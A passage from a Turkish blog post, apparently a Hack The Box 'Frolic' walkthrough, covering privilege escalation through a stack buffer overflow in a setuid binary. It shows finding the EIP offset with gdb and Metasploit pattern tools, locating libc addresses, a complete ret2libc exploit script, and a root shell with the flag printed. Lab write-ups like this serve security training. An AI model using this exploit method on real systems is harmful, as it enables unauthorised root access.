$ strings rop | more\nstrings rop | more\n\/lib\/ld-linux.so.2\nlibc.so.6\n_IO_stdin_used\nsetuid\nstrcpy\nputs\nprintf\n__libc_start_main\n__gmon_start__\nGLIBC_2.0\nPTRh\nUWVS\nt$,U\n[^_]\n[*] Usage: program <message>\n[+] Message sent: \n;*2$"0\nGCC: (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609\ncrtstuff.c\n__JCR_LIST__\nderegister_tm_clones\n__do_global_dtors_aux\ncompleted.7209\n--More--q\n$ $  cat \/proc\/sys\/kernel\/randomize_va_space\n cat \/proc\/sys\/kernel\/randomize_va_space\n0<\/code><\/pre>\n
Harika adresler dinamik bir \u015fekilde de\u011fi\u015fmeyecek! Binary'i yi kendime ald\u0131m ve eip adresini bulmay\u0131 denedim.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/usr\/share\/metasploit-framework\/tools\/exploit]\n\u2514\u2500# .\/pattern_create.rb -l 60\nAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9\n\ngdb .\/rop\n(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9\nStarting program: \/opt\/PEASS-ng\/linPEAS\/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x62413762 in ?? ()\n<\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[\/usr\/share\/metasploit-framework\/tools\/exploit]\n\u2514\u2500# .\/pattern_offset.rb -q 62413762\n[*] Exact match at offset 52<\/code><\/pre>\n
B\u00f6ylece eip i\u00e7in gerekli buffer alan\u0131m\u0131z\u0131 belirlemi\u015f olduk. D\u00fczg\u00fcn \u00e7al\u0131\u015ft\u0131\u011f\u0131n\u0131n kontrol\u00fcn\u00fc gdb ile yapt\u0131m ve eip'den sonra heryere C yazd\u0131rd\u0131m.<\/p>\n
\n(gdb) run $(python3 -c 'print("A"*52,"B"*4,"C"*100,sep="")')\nThe program being debugged has been started already.\nStart it from the beginning? (y or n) Y\nStarting program: \/opt\/PEASS-ng\/linPEAS\/rop $(python3 -c 'print("A"*52,"B"*4,"C"*100,sep="")')\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x42424242 in ?? ()\n(gdb) x\/100x $sp\n0xffffd3c0: 0x43434343  0x43434343  0x43434343  0x43434343\n0xffffd3d0: 0x43434343  0x43434343  0x43434343  0x43434343\n0xffffd3e0: 0x43434343  0x43434343  0x43434343  0x43434343\n0xffffd3f0: 0x43434343  0x43434343  0x43434343  0x43434343\n0xffffd400: 0x43434343  0x43434343  0x43434343  0x43434343\n0xffffd410: 0x43434343  0x43434343  0x43434343  0x43434343\n0xffffd420: 0x43434343  0x00000000  0xf7fae000  0xf7fae000\n0xffffd430: 0x00000000  0x7c6ffc1c  0x3f33e20c  0x00000000\n0xffffd440: 0x00000000  0x00000000  0x00000002  0x080483a0\n0xffffd450: 0x00000000  0xf7fe88f0  0xf7fe3230  0xf7ffd000\n0xffffd460: 0x00000002  0x080483a0  0x00000000  0x080483c1\n0xffffd470: 0x0804849b  0x00000002  0xffffd494  0x08048540\n0xffffd480: 0x080485a0  0xf7fe3230  0xffffd48c  0x0000001c\n0xffffd490: 0x00000002  0xffffd5fa  0xffffd614  0x00000000\n0xffffd4a0: 0xffffd6b1  0xffffd6c5  0xffffd703  0xffffd730\n0xffffd4b0: 0xffffd73d  0xffffd747  0xffffd75a  0xffffd77c\n0xffffd4c0: 0xffffd79f  0xffffd7af  0xffffd7c3  0xffffd7d0\n0xffffd4d0: 0xffffd7ea  0xffffd848  0xffffd859  0xffffd874\n0xffffd4e0: 0xffffd87f  0xffffd89d  0xffffd8ae  0xffffd8fa\n0xffffd4f0: 0xffffd902  0xffffd91f  0xffffdf0e  0xffffdf26\n0xffffd500: 0xffffdf3e  0xffffdf53  0xffffdf6c  0xffffdf81\n0xffffd510: 0xffffdf99  0xffffdfae  0xffffdfca  0xffffdfd3\n0xffffd520: 0x00000000  0x00000020  0xf7fd0550  0x00000021\n0xffffd530: 0xf7fd0000  0x00000010  0x1f8bfbff  0x00000006\n0xffffd540: 0x00001000  0x00000011  0x00000064  0x00000003\n(gdb) <\/code><\/pre>\n
\u015eimdi exploit edelim. Bunun i\u00e7in https:\/\/ir0nstone.gitbook.io\/notes\/types\/stack\/return-oriented-programming\/ret2libc<\/a> sayfas\u0131ndan yararland\u0131m. Ayn\u0131 zamanda exploiti yazarken https:\/\/infosecwriteups.com\/ret2libc-attack-in-lin-3dfc827c90c3<\/a> sayfas\u0131ndan da yard\u0131m ald\u0131m. \u015eimdilik k\u00fct\u00fcphaneden \/bin\/sh'a atlama tekniinden bahsetmeyece\u011fim. \u0130lerleyen s\u00fcre\u00e7te bununla ilgili bir yaz\u0131 yazaca\u011f\u0131m.<\/p>\n
K\u00fct\u00fcphaneleri ve de\u011fi\u015fmeyen adreslerini g\u00f6r\u00fcnt\u00fcledim.<\/p>\n
\nwww-data@frolic:\/home\/ayush\/.binary$ ldd rop\nldd rop\n    linux-gate.so.1 =>  (0xb7fda000)\n    libc.so.6 => \/lib\/i386-linux-gnu\/libc.so.6 (0xb7e19000)\n    \/lib\/ld-linux.so.2 (0xb7fdb000)\nwww-data@frolic:\/home\/ayush\/.binary$ <\/code><\/pre>\n
system ve exit ifadelerine ihtiyac\u0131m\u0131z var. Bunlar\u0131n adreslerini elde ettim.<\/p>\n
\nwww-data@frolic:\/home\/ayush\/.binary$ readelf -s  \/lib\/i386-linux-gnu\/libc.so.6 | grep system\n<\/.binary$ readelf -s  \/lib\/i386-linux-gnu\/libc.so.6 | grep system           \n   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0\n   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE\n  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0\n<\/code><\/pre>\n
$ readelf -s  \/lib\/i386-linux-gnu\/libc.so.6 | grep exit  \nreadelf -s  \/lib\/i386-linux-gnu\/libc.so.6 | grep exit\n   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10\n   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0\n   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18\n   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0\n   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0\n   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10\n   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3\n  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0\n  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1\n  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0\n  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0\n  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0\n  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2<\/code><\/pre>\n
\u015eimdi de k\u00fct\u00fcphane i\u00e7erisinde \/bin\/sh ifadesinin nerede oldu\u011funu bualal\u0131m.<\/p>\n
\nwww-data@frolic:\/home\/ayush\/.binary$ strings -a -t x \/lib\/i386-linux-gnu\/libc.so.6  | grep \/bin\/sh\n<\/.binary$ strings -a -t x \/lib\/i386-linux-gnu\/libc.so.6  | grep \/bin\/sh     \n 15ba0b \/bin\/sh\n<\/code><\/pre>\n
Art\u0131k exploitimizi yazabiliriz.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/HTB\/Linux\/Frolic\/exploit]\n\u2514\u2500# cat exploit.py \nimport struct\n\nlibc= 0xb7e19000\nsystem = libc + 0x0003ada0\nexit= libc + 0x0002e9d0\nsh= libc + 0x15ba0b\n\npayload=""\npayload+='A'*52\npayload+=struct.pack("<I",system)\npayload+=struct.pack("<I",exit)\npayload+=struct.pack("<I",sh)\nprint(payload)\n<\/code><\/pre>\n
Hedef makineye exploiti att\u0131m ve \u00e7al\u0131\u015ft\u0131rd\u0131m.<\/p>\n
$ id\nid\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n$ .\/rop $(python \/tmp\/exploit.py)\n.\/rop $(python \/tmp\/exploit.py)\n# id\nid\nuid=0(root) gid=33(www-data) groups=33(www-data)\n# cd \/root\ncd \/root\n# ls\nls\nroot.txt\n# cat root.txt\ncat root.txt\n85d3fdf03f969892538ba9a731826222<\/code><\/pre>\n
Bingo!<\/p>\n
<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Frolic – HTB Kolay Linux Walkthrough nmap taramas\u0131: \u250c\u2500\u2500(root💀kali)-[\/home\/\u2026\/Desktop\/HTB\/Linux\/Frolic] \u2514\u2500# nmap -p- -A 10.10.10.111 -T4 Starting Nmap 7.91 ( https:\/\/nmap.org…<\/p>\n
Devam\u0131n\u0131 okuFrolic<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[465,498],"tags":[553],"class_list":["post-1540","post","type-post","status-publish","format-standard","hentry","category-reverse-engineering","category-walkthrough","tag-buffer-overflow","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1540","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1540"}],"version-history":[{"count":2,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1540\/revisions"}],"predecessor-version":[{"id":1542,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1540\/revisions\/1542"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1540"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1540"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1540"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}